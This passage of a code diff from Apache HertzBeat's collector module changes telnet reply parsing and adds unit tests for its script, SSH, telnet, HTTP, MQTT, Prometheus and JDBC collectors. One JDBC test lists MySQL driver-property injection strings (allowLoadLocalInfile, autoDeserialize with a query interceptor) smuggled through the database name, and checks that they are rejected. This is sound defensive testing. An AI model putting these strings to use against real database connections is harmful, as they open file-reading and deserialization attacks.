+                    log.warn("telnet cmd [{}] returned no expected metrics: {}", telnet.getCmd(), reply);
                     builder.setCode(CollectRep.Code.FAIL);
-                    builder.setMsg("The cmd execution results do not match the expected number of metrics.");
+                    builder.setMsg("Cmd [" + telnet.getCmd() + "] returned no expected metrics. Response: " + reply);
                     return;
                 }
+                resultMap.put(CollectorConstants.RESPONSE_TIME, Long.toString(responseTime));
                 CollectRep.ValueRow.Builder valueRowBuilder = CollectRep.ValueRow.newBuilder();
                 for (String field : aliasFields) {
                     String fieldValue = resultMap.get(field);
@@ -118,30 +124,36 @@ public class TelnetCollectImpl extends AbstractCollect {
         return DispatchConstants.PROTOCOL_TELNET;
     }
 
-    private static Map<String, String> execCmdAndParseResult(TelnetClient telnetClient, String cmd, String app) throws IOException {
+    record CmdResult(Map<String, String> values, String rawResponse) {
+    }
+
+    private static String sanitizeReply(String raw) {
+        return StringUtils.abbreviate(raw.trim().replaceAll("[\\p{Cntrl}]+", " "), 300);
+    }
+
+    private static CmdResult execCmdAndParseResult(TelnetClient telnetClient, String cmd, String app) throws IOException {
         if (cmd == null || StringUtils.isEmpty(cmd.trim())) {
-            return new HashMap<>(16);
+            return new CmdResult(new HashMap<>(16), "");
         }
         OutputStream outputStream = telnetClient.getOutputStream();
         outputStream.write(cmd.getBytes(StandardCharsets.UTF_8));
         outputStream.flush();
         String result = new String(telnetClient.getInputStream().readAllBytes());
         String[] lines = result.split("\n");
-        if (CollectorConstants.ZOOKEEPER_APP.equals(app) && CollectorConstants.ZOOKEEPER_ENVI_HEAD.equals(lines[0])) {
+        if (lines.length > 0 && CollectorConstants.ZOOKEEPER_APP.equals(app)
+                && CollectorConstants.ZOOKEEPER_ENVI_HEAD.equals(lines[0])) {
             lines = Arrays.stream(lines)
                     .skip(1)
                     .toArray(String[]::new);
         }
-        boolean contains = lines[0].contains("=");
-        return Arrays.stream(lines)
-                .map(item -> {
-                    if (contains) {
-                        return item.split("=");
-                    } else {
-                        return item.split("\t");
-                    }
-                })
+        if (lines.length == 0) {
+            return new CmdResult(new HashMap<>(16), result);
+        }
+        String separator = lines[0].contains("=") ? "=" : "\t";
+        Map<String, String> values = Arrays.stream(lines)
+                .map(item -> item.split(separator, 2))
                 .filter(item -> item.length == 2)
-                .collect(Collectors.toMap(x -> x[0], x -> x[1]));
+                .collect(Collectors.toMap(x -> x[0], x -> x[1], (first, second) -> first, HashMap::new));
+        return new CmdResult(values, result);
     }
 }

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/common/OneRowResponseSupportTest.java

@@ -0,0 +1,123 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.collector.collect.common;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import java.util.List;
+import org.apache.hertzbeat.collector.constants.CollectorConstants;
+import org.apache.hertzbeat.common.constants.CommonConstants;
+import org.apache.hertzbeat.common.entity.message.CollectRep;
+import org.junit.jupiter.api.Test;
+
+class OneRowResponseSupportTest {
+
+    @Test
+    void appendResponseValuesShouldMapColumnsInOrder() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+
+        OneRowResponseSupport.appendResponseValues(
+                "pod-a\n5\n", List.of("pod", "restart", CollectorConstants.RESPONSE_TIME), builder, 18L);
+
+        assertEquals(1, builder.getValuesCount());
+        assertEquals("pod-a", builder.getValues(0).getColumns(0));
+        assertEquals("5", builder.getValues(0).getColumns(1));
+        assertEquals("18", builder.getValues(0).getColumns(2));
+    }
+
+    @Test
+    void appendResponseValuesShouldPadMissingTrailingLines() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+
+        OneRowResponseSupport.appendResponseValues(
+                "52\n35.8033\n5%",
+                List.of("cpu", "memory", "disk", "nfs_mount", CollectorConstants.RESPONSE_TIME), builder, 18L);
+
+        assertEquals(1, builder.getValuesCount());
+        assertEquals("52", builder.getValues(0).getColumns(0));
+        assertEquals("35.8033", builder.getValues(0).getColumns(1));
+        assertEquals("5%", builder.getValues(0).getColumns(2));
+        assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(3));
+        assertEquals("18", builder.getValues(0).getColumns(4));
+    }
+
+    @Test
+    void appendEmptyValuesShouldFillNullPlaceholders() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+
+        OneRowResponseSupport.appendEmptyValues(
+                List.of("nfs_mount", CollectorConstants.RESPONSE_TIME), builder, 12L);
+
+        assertEquals(1, builder.getValuesCount());
+        assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(0));
+        assertEquals("12", builder.getValues(0).getColumns(1));
+    }
+
+    @Test
+    void tryAppendEmptyOneRowShouldAcceptGrepNoMatchExitOne() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+
+        // grep with no match exits 1 and writes nothing: treat as valid empty data, not a failure
+        boolean handled = OneRowResponseSupport.tryAppendEmptyOneRow(
+                OneRowResponseSupport.PARSE_TYPE_ONE_ROW, "", 1,
+                List.of("nfs_mount", CollectorConstants.RESPONSE_TIME), builder, 9L);
+
+        assertTrue(handled);
+        assertEquals(1, builder.getValuesCount());
+        assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(0));
+    }
+
+    @Test
+    void tryAppendEmptyOneRowShouldRejectNullExitStatus() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+
+        // an absent exit status (e.g. dropped ssh channel) must be treated as a failure
+        boolean handled = OneRowResponseSupport.tryAppendEmptyOneRow(
+                OneRowResponseSupport.PARSE_TYPE_ONE_ROW, "", null,
+                List.of("nfs_mount"), builder, 9L);
+
+        assertFalse(handled);
+        assertEquals(0, builder.getValuesCount());
+    }
+
+    @Test
+    void tryAppendEmptyOneRowShouldRejectNonEmptyStderr() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+
+        boolean handled = OneRowResponseSupport.tryAppendEmptyOneRow(
+                OneRowResponseSupport.PARSE_TYPE_ONE_ROW, "permission denied", 1,
+                List.of("nfs_mount"), builder, 9L);
+
+        assertFalse(handled);
+        assertEquals(0, builder.getValuesCount());
+    }
+
+    @Test
+    void buildBlankFailureMessageShouldPreferStderrThenExitCode() {
+        assertEquals("permission denied", OneRowResponseSupport.buildBlankFailureMessage(
+                "permission denied\n", 2, "cmd exited with code: ", "null data"));
+        assertEquals("cmd exited with code: 2", OneRowResponseSupport.buildBlankFailureMessage(
+                "", 2, "cmd exited with code: ", "null data"));
+        assertEquals("null data", OneRowResponseSupport.buildBlankFailureMessage(
+                "", 1, "cmd exited with code: ", "null data"));
+        assertEquals("null data", OneRowResponseSupport.buildBlankFailureMessage(
+                "", null, "cmd exited with code: ", "null data"));
+    }
+}

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/database/JdbcCommonCollectTest.java

@@ -185,6 +185,29 @@ class JdbcCommonCollectTest {
         assertEquals("Not support database platform: invalid", exception.getMessage());
     }
 
+    /**
+     * The url blacklist only guards a user supplied url. Driver properties smuggled through the
+     * database name reach the very same connection, so they have to be rejected too.
+     */
+    @Test
+    void testConstructDatabaseUrlRejectsDriverPropertiesInDatabaseName() {
+        String[] payloads = {
+            "test?allowLoadLocalInfile=true&z=",
+            "test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&z=",
+            "test&useSSL=false",
+        };
+        for (String payload : payloads) {
+            JdbcProtocol jdbcProtocol = JdbcProtocol.builder()
+                    .platform("mysql")
+                    .database(payload)
+                    .build();
+
+            assertThrows(IllegalArgumentException.class,
+                    () -> constructDatabaseUrl(jdbcCommonCollect, jdbcProtocol, "localhost", "3306"),
+                    "database name should be rejected: " + payload);
+        }
+    }
+
     @Test
     void testCloseConnectionWhenCreateStatementFails() throws Exception {
         String url = "jdbc:postgresql://localhost:5432/hertzbeat";

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/http/HttpCollectImplTest.java

@@ -20,6 +20,7 @@ package org.apache.hertzbeat.collector.collect.http;
 import com.google.common.collect.Lists;
 import com.sun.net.httpserver.HttpServer;
 import org.apache.hertzbeat.collector.dispatch.DispatchConstants;
+import org.apache.hertzbeat.common.constants.CommonConstants;
 import org.apache.hertzbeat.common.entity.job.Metrics;
 import org.apache.hertzbeat.common.entity.job.protocol.HttpProtocol;
 import org.apache.hertzbeat.common.entity.message.CollectRep;
@@ -383,6 +384,48 @@ class HttpCollectImplTest {
         assertEquals("0.268751364291017", firstRow.getColumns(0));
     }
 
+    @Test
+    void parseResponseByJsonPathKeepsRowAlignmentWhenAliasPathMissing() throws Exception {
+        String jsonResponse = "{\"items\": ["
+                + "{\"metadata\": {\"name\": \"pod-a\"}, \"status\": {\"phase\": \"Running\","
+                + " \"containerStatuses\": [{\"name\": \"c1\", \"ready\": true, \"restartCount\": 5}]}},"
+                + "{\"metadata\": {\"name\": \"pod-b-pending\"}, \"status\": {\"phase\": \"Pending\"}},"
+                + "{\"metadata\": {\"name\": \"pod-c\"}, \"status\": {\"phase\": \"Running\","
+                + " \"containerStatuses\": [{\"name\": \"c3\", \"ready\": true, \"restartCount\": 2}]}}"
+                + "]}";
+        HttpProtocol http = HttpProtocol.builder()
+                .parseType(DispatchConstants.PARSE_JSON_PATH)
+                .parseScript("$.items.*")
+                .build();
+        List<CollectRep.ValueRow> capturedRows = new ArrayList<>();
+        CollectRep.MetricsData.Builder builder = new CollectRep.MetricsData.Builder() {
+            @Override
+            public CollectRep.MetricsData.Builder addValueRow(CollectRep.ValueRow valueRow) {
+                capturedRows.add(valueRow);
+                return super.addValueRow(valueRow);
+            }
+        };
+        Method parseMethod = HttpCollectImpl.class.getDeclaredMethod(
+                "parseResponseByJsonPath",
+                String.class,
+                List.class,
+                HttpProtocol.class,
+                CollectRep.MetricsData.Builder.class,
+                Long.class);
+        parseMethod.setAccessible(true);
+
+        parseMethod.invoke(httpCollectImpl, jsonResponse,
+                Lists.newArrayList("$.metadata.name", "$.status.containerStatuses[0].restartCount"), http, builder, 100L);
+
+        assertEquals(3, capturedRows.size());
+        assertEquals("pod-a", capturedRows.get(0).getColumns(0));
+        assertEquals("5", capturedRows.get(0).getColumns(1));
+        assertEquals("pod-b-pending", capturedRows.get(1).getColumns(0));
+        assertEquals(CommonConstants.NULL_VALUE, capturedRows.get(1).getColumns(1));
+        assertEquals("pod-c", capturedRows.get(2).getColumns(0));
+        assertEquals("2", capturedRows.get(2).getColumns(1));
+    }
+
     @Test
     void testParsePromQlLabelValue() throws Exception {
         // Create Prometheus format test data

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/mqtt/MqttSslFactoryTest.java

@@ -0,0 +1,88 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.collector.collect.mqtt;
+
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+import java.io.StringWriter;
+import java.math.BigInteger;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.cert.X509Certificate;
+import java.util.Date;
+import org.apache.hertzbeat.common.entity.job.protocol.MqttProtocol;
+import org.bouncycastle.asn1.x500.X500Name;
+import org.bouncycastle.cert.jcajce.JcaX509CertificateConverter;
+import org.bouncycastle.cert.jcajce.JcaX509v3CertificateBuilder;
+import org.bouncycastle.openssl.jcajce.JcaPEMWriter;
+import org.bouncycastle.openssl.jcajce.JcaPKCS8Generator;
+import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+class MqttSslFactoryTest {
+
+    private static String certPem;
+    private static String pkcs1KeyPem;
+    private static String pkcs8KeyPem;
+
+    @BeforeAll
+    static void generateCertAndKeys() throws Exception {
+        KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
+        generator.initialize(2048);
+        KeyPair keyPair = generator.generateKeyPair();
+        X500Name subject = new X500Name("CN=hb-3540-mqtt");
+        JcaX509v3CertificateBuilder certBuilder = new JcaX509v3CertificateBuilder(
+                subject, BigInteger.ONE,
+                new Date(System.currentTimeMillis() - 60_000),
+                new Date(System.currentTimeMillis() + 3_600_000),
+                subject, keyPair.getPublic());
+        X509Certificate cert = new JcaX509CertificateConverter()
+                .getCertificate(certBuilder.build(new JcaContentSignerBuilder("SHA256withRSA").build(keyPair.getPrivate())));
+
+        certPem = writePem(cert);
+        pkcs1KeyPem = writePem(keyPair.getPrivate());
+        pkcs8KeyPem = writePem(new JcaPKCS8Generator(keyPair.getPrivate(), null));
+    }
+
+    @Test
+    void parsesPkcs1ClientKey() {
+        assertNotNull(MqttSslFactory.getMslSocketFactory(mqttProtocol(pkcs1KeyPem), true));
+    }
+
+    @Test
+    void parsesPkcs8ClientKey() {
+        assertNotNull(MqttSslFactory.getMslSocketFactory(mqttProtocol(pkcs8KeyPem), true));
+    }
+
+    private static MqttProtocol mqttProtocol(String clientKey) {
+        return MqttProtocol.builder()
+                .tlsVersion("TLSv1.2")
+                .clientCert(certPem)
+                .clientKey(clientKey)
+                .build();
+    }
+
+    private static String writePem(Object object) throws Exception {
+        StringWriter out = new StringWriter();
+        try (JcaPEMWriter writer = new JcaPEMWriter(out)) {
+            writer.writeObject(object);
+        }
+        return out.toString();
+    }
+}

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/prometheus/parser/OnlineParserTest.java

@@ -30,6 +30,8 @@ import java.util.stream.Collectors;
 
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.junit.jupiter.api.Assertions.fail;
 
 class OnlineParserTest {
@@ -459,4 +461,27 @@ class OnlineParserTest {
         assertEquals("run_as", metricFamily.getMetricList().get(0).getLabels().get(3).getName());
         assertEquals("NT AUTHORITY\nLocalService", metricFamily.getMetricList().get(0).getLabels().get(3).getValue());
     }
+
+    @Test
+    void testParseMetricsStopsBeforeSampleBeyondLimit() {
+        final String metrics = "metric_a 1\nmetric_b 2\nmetric_c 3\nmetric_d 4\n";
+        final ByteArrayInputStream inputStream =
+                new ByteArrayInputStream(metrics.getBytes(StandardCharsets.UTF_8));
+
+        assertThrows(OnlineParser.SampleLimitExceededException.class,
+                () -> OnlineParser.parseMetrics(inputStream, 2));
+
+        assertTrue(inputStream.available() > 0, "samples after the limit should remain unread");
+    }
+
+    @Test
+    void testParseMetricsAllowsExactlyTheSampleLimit() throws Exception {
+        final String metrics = "metric_a 1\nmetric_b 2\n";
+        final InputStream inputStream = new ByteArrayInputStream(metrics.getBytes(StandardCharsets.UTF_8));
+
+        final Map<String, MetricFamily> metricFamilyMap = OnlineParser.parseMetrics(inputStream, 2);
+
+        assertNotNull(metricFamilyMap);
+        assertEquals(2, metricFamilyMap.size());
+    }
 }

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/script/ScriptCollectImplTest.java

@@ -19,9 +19,12 @@ package org.apache.hertzbeat.collector.collect.script;
 
 import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
 import static org.junit.jupiter.api.Assertions.assertThrows;
 
+import java.util.List;
 import org.apache.hertzbeat.collector.dispatch.DispatchConstants;
+import org.apache.hertzbeat.common.constants.CommonConstants;
 import org.apache.hertzbeat.common.entity.job.Metrics;
 import org.apache.hertzbeat.common.entity.job.protocol.ScriptProtocol;
 import org.apache.hertzbeat.common.entity.message.CollectRep;
@@ -138,6 +141,85 @@ public class ScriptCollectImplTest {
             scriptCollect.collect(builder, metrics);
             assertEquals(CollectRep.Code.FAIL, builder.getCode());
         });
+
+        // empty stdout without stderr should be treated as empty one-row data
+        assertDoesNotThrow(() -> {
+            ScriptProtocol scriptProtocol = ScriptProtocol.builder()
+                    .charset("utf-8")
+                    .parseType("oneRow")
+                    .scriptTool("bash")
+                    .scriptCommand("grep -o 'centos-hermitlv' /dev/null")
+                    .build();
+            Metrics metrics = new Metrics();
+            metrics.setScript(scriptProtocol);
+            metrics.setAliasFields(List.of("nfs_mount"));
+
+            builder = CollectRep.MetricsData.newBuilder();
+            scriptCollect.collect(builder, metrics);
+            assertEquals(CollectRep.Code.SUCCESS, builder.getCode());
+            assertEquals(1, builder.getValuesCount());
+            assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(0));
+        });
+
+        // partial output missing more than one trailing field: the old length check
+        // (lines + 1 < aliases) dropped the whole row here, losing the collected values
+        assertDoesNotThrow(() -> {
+            ScriptProtocol scriptProtocol = ScriptProtocol.builder()
+                    .charset("utf-8")
+                    .parseType("oneRow")
+                    .scriptTool("bash")
+                    .scriptCommand("echo 52; echo 35.8033; grep -o 'centos-hermitlv' /dev/null")
+                    .build();
+            Metrics metrics = new Metrics();
+            metrics.setScript(scriptProtocol);
+            metrics.setAliasFields(List.of("cpu", "memory", "disk", "nfs_mount"));
+
+            builder = CollectRep.MetricsData.newBuilder();
+            scriptCollect.collect(builder, metrics);
+            assertEquals(CollectRep.Code.SUCCESS, builder.getCode());
+            assertEquals(1, builder.getValuesCount());
+            assertEquals("52", builder.getValues(0).getColumns(0));
+            assertEquals("35.8033", builder.getValues(0).getColumns(1));
+            assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(2));
+            assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(3));
+        });
+
+        // a command that silently exits 1 with no output is indistinguishable from a
+        // grep no-match, so it is deliberately accepted as an empty success
+        assertDoesNotThrow(() -> {
+            ScriptProtocol scriptProtocol = ScriptProtocol.builder()
+                    .charset("utf-8")
+                    .parseType("oneRow")
+                    .scriptTool("bash")
+                    .scriptCommand("exit 1")
+                    .build();
+            Metrics metrics = new Metrics();
+            metrics.setScript(scriptProtocol);
+            metrics.setAliasFields(List.of("nfs_mount"));
+
+            builder = CollectRep.MetricsData.newBuilder();
+            scriptCollect.collect(builder, metrics);
+            assertEquals(CollectRep.Code.SUCCESS, builder.getCode());
+            assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(0));
+        });
+
+        // non-empty exit code without stderr should still fail when it is not the grep-style no-match case
+        assertDoesNotThrow(() -> {
+            ScriptProtocol scriptProtocol = ScriptProtocol.builder()
+                    .charset("utf-8")
+                    .parseType("oneRow")
+                    .scriptTool("bash")
+                    .scriptCommand("exit 2")
+                    .build();
+            Metrics metrics = new Metrics();
+            metrics.setScript(scriptProtocol);
+            metrics.setAliasFields(List.of("nfs_mount"));
+
+            builder = CollectRep.MetricsData.newBuilder();
+            scriptCollect.collect(builder, metrics);
+            assertEquals(CollectRep.Code.FAIL, builder.getCode());
+            assertTrue(builder.getMsg().contains("code: 2"));
+        });
     }
 
     @Test

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/ssh/SshCollectImplTest.java

@@ -22,6 +22,11 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertSame;
 import static org.junit.jupiter.api.Assertions.assertThrows;
 import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.doAnswer;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.mockStatic;
 import static org.mockito.Mockito.never;
@@ -30,14 +35,21 @@ import static org.mockito.Mockito.when;
 
 import java.io.IOException;
 import java.io.InterruptedIOException;
+import java.io.OutputStream;
+import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 import java.util.List;
+import java.util.Set;
+import java.util.concurrent.atomic.AtomicReference;
 import org.apache.hertzbeat.collector.collect.common.ssh.SshHelper;
 import org.apache.hertzbeat.collector.dispatch.DispatchConstants;
+import org.apache.hertzbeat.common.constants.CommonConstants;
 import org.apache.hertzbeat.common.entity.job.Metrics;
 import org.apache.hertzbeat.common.entity.job.protocol.SshProtocol;
 import org.apache.hertzbeat.common.entity.message.CollectRep;
 import org.apache.sshd.client.channel.ChannelExec;
 import org.apache.sshd.client.channel.ClientChannel;
+import org.apache.sshd.client.channel.ClientChannelEvent;
 import org.apache.sshd.client.future.OpenFuture;
 import org.apache.sshd.client.session.ClientSession;
 import org.apache.sshd.common.SshException;
@@ -229,6 +241,130 @@ class SshCollectImplTest {
         verify(clientSession).close();
     }
 
+    @Test
+    void collectPadsPartialOneRowOutput() throws Exception {
+        ChannelExec channel = oneRowChannel("52\n35.8033\n5%", "", 0);
+        Metrics metrics = Metrics.builder().ssh(oneRowProtocol()).build();
+        metrics.setAliasFields(List.of("cpu", "memory", "disk", "nfs_mount"));
+
+        ClientSession clientSession = channelSession(channel);
+        try (MockedStatic<SshHelper> sshHelper = mockStatic(SshHelper.class)) {
+            sshHelper.when(() -> SshHelper.getConnectSession(any(), anyInt(), anyBoolean(), anyBoolean()))
+                    .thenReturn(clientSession);
+            sshCollect.collect(builder, metrics);
+        }
+
+        assertEquals(CollectRep.Code.SUCCESS, builder.getCode());
+        assertEquals(1, builder.getValuesCount());
+        assertEquals("52", builder.getValues(0).getColumns(0));
+        assertEquals("35.8033", builder.getValues(0).getColumns(1));
+        assertEquals("5%", builder.getValues(0).getColumns(2));
+        assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(3));
+    }
+
+    @Test
+    void collectTreatsSilentEmptyOneRowOutputAsEmptyRow() throws Exception {
+        ChannelExec channel = oneRowChannel("", "", 1);
+        Metrics metrics = Metrics.builder().ssh(oneRowProtocol()).build();
+        metrics.setAliasFields(List.of("nfs_mount"));
+
+        ClientSession clientSession = channelSession(channel);
+        try (MockedStatic<SshHelper> sshHelper = mockStatic(SshHelper.class)) {
+            sshHelper.when(() -> SshHelper.getConnectSession(any(), anyInt(), anyBoolean(), anyBoolean()))
+                    .thenReturn(clientSession);
+            sshCollect.collect(builder, metrics);
+        }
+
+        assertEquals(CollectRep.Code.SUCCESS, builder.getCode());
+        assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(0));
+    }
+
+    @Test
+    void collectFailsOnEmptyOutputWithStderr() throws Exception {
+        ChannelExec channel = oneRowChannel("", "boom: permission denied", 1);
+        Metrics metrics = Metrics.builder().ssh(oneRowProtocol()).build();
+        metrics.setAliasFields(List.of("nfs_mount"));
+
+        ClientSession clientSession = channelSession(channel);
+        try (MockedStatic<SshHelper> sshHelper = mockStatic(SshHelper.class)) {
+            sshHelper.when(() -> SshHelper.getConnectSession(any(), anyInt(), anyBoolean(), anyBoolean()))
+                    .thenReturn(clientSession);
+            sshCollect.collect(builder, metrics);
+        }
+
+        assertEquals(CollectRep.Code.FAIL, builder.getCode());
+        assertEquals("boom: permission denied", builder.getMsg());
+    }
+
+    @Test
+    void collectDecodesOutputWithConfiguredCharset() throws Exception {
+        ChannelExec channel = oneRowChannel("挂载正常".getBytes(Charset.forName("GBK")), new byte[0], 0);
+        SshProtocol protocol = oneRowProtocol();
+        protocol.setCharset("GBK");
+        Metrics metrics = Metrics.builder().ssh(protocol).build();
+        metrics.setAliasFields(List.of("nfs_mount"));
+
+        ClientSession clientSession = channelSession(channel);
+        try (MockedStatic<SshHelper> sshHelper = mockStatic(SshHelper.class)) {
+            sshHelper.when(() -> SshHelper.getConnectSession(any(), anyInt(), anyBoolean(), anyBoolean()))
+                    .thenReturn(clientSession);
+            sshCollect.collect(builder, metrics);
+        }
+
+        assertEquals(CollectRep.Code.SUCCESS, builder.getCode());
+        assertEquals("挂载正常", builder.getValues(0).getColumns(0));
+    }
+
+    private SshProtocol oneRowProtocol() {
+        return SshProtocol.builder()
+                .host("target.example.com")
+                .port("22")
+                .username("root")
+                .password("password")
+                .timeout("1000")
+                .reuseConnection("true")
+                .useProxy("false")
+                .script("echo ok")
+                .parseType("oneRow")
+                .build();
+    }
+
+    private ClientSession channelSession(ChannelExec channel) throws IOException {
+        ClientSession clientSession = mock(ClientSession.class);
+        when(clientSession.createExecChannel("echo ok")).thenReturn(channel);
+        return clientSession;
+    }
+
+    private ChannelExec oneRowChannel(String stdout, String stderr, int exitStatus) throws IOException {
+        return oneRowChannel(stdout.getBytes(StandardCharsets.UTF_8), stderr.getBytes(StandardCharsets.UTF_8), exitStatus);
+    }
+
+    private ChannelExec oneRowChannel(byte[] stdout, byte[] stderr, int exitStatus) throws IOException {
+        ChannelExec channel = mock(ChannelExec.class);
+        OpenFuture openFuture = mock(OpenFuture.class);
+        CloseFuture closeFuture = mock(CloseFuture.class);
+        AtomicReference<OutputStream> out = new AtomicReference<>();
+        AtomicReference<OutputStream> err = new AtomicReference<>();
+        doAnswer(inv -> {
+            out.set(inv.getArgument(0));
+            return null;
+        }).when(channel).setOut(any());
+        doAnswer(inv -> {
+            err.set(inv.getArgument(0));
+            return null;
+        }).when(channel).setErr(any());
+        when(channel.open()).thenReturn(openFuture);
+        when(channel.waitFor(any(), anyLong())).thenAnswer(inv -> {
+            out.get().write(stdout);
+            err.get().write(stderr);
+            return Set.of(ClientChannelEvent.CLOSED);
+        });
+        when(channel.getExitStatus()).thenReturn(exitStatus);
+        when(channel.close(false)).thenReturn(closeFuture);
+        when(closeFuture.await(anyLong())).thenReturn(true);
+        return channel;
+    }
+
     private SshProtocol protocol(int timeout) {
         return SshProtocol.builder()
                 .host("target.example.com")

hertzbeat-collector/hertzbeat-collector-basic/src/test/java/org/apache/hertzbeat/collector/collect/telnet/TelnetCollectImplTest.java

@@ -21,6 +21,7 @@ import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
 
 import java.io.ByteArrayInputStream;
 import java.io.InputStream;
@@ -30,6 +31,7 @@ import java.util.ArrayList;
 import java.util.List;
 import org.apache.commons.net.telnet.TelnetClient;
 import org.apache.hertzbeat.collector.dispatch.DispatchConstants;
+import org.apache.hertzbeat.common.constants.CommonConstants;
 import org.apache.hertzbeat.common.entity.job.Metrics;
 import org.apache.hertzbeat.common.entity.job.protocol.TelnetProtocol;
 import org.apache.hertzbeat.common.entity.message.CollectRep;
@@ -155,6 +157,114 @@ class TelnetCollectImplTest {
         mocked.close();
     }
 
+    @Test
+    void testCollectPadsMissingMetrics() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+        Metrics metrics = telnetMetrics("mntr", List.of("responseTime", "a", "b", "c"));
+        try (MockedConstruction<TelnetClient> mocked = mockTelnetReply("a=1")) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(1, builder.getValuesCount());
+        assertEquals("1", builder.getValues(0).getColumns(1));
+        assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(2));
+        assertEquals(CommonConstants.NULL_VALUE, builder.getValues(0).getColumns(3));
+    }
+
+    @Test
+    void testCollectFailsWithRawReplyWhenNothingParsed() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+        Metrics metrics = telnetMetrics("conf", List.of("responseTime", "a"));
+        try (MockedConstruction<TelnetClient> mocked =
+                mockTelnetReply("conf is not executed because it is not in the whitelist.")) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(CollectRep.Code.FAIL, builder.getCode());
+        assertTrue(builder.getMsg().contains("not in the whitelist"));
+    }
+
+    @Test
+    void testCollectKeepsFirstOnDuplicateKeys() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
+        Metrics metrics = telnetMetrics("mntr", List.of("a", "b"));
+        try (MockedConstruction<TelnetClient> mocked = mockTelnetReply("a=1\na=2\nb=3")) {
+            telnetCollect.collect(builder, metrics);
+        }
+        assertEquals(1, builder.getValuesCount());
+        assertEquals("1", builder.getValues(0).getColumns(0));
+        assertEquals("3", builder.getValues(0).getColumns(1));
+    }
+
+    @Test
+    void testCollectFailsWhenReplyHasOnlyUnrelatedPairs() {
+        CollectRep.MetricsData.Builder builder = CollectRep.MetricsData.newBuilder();
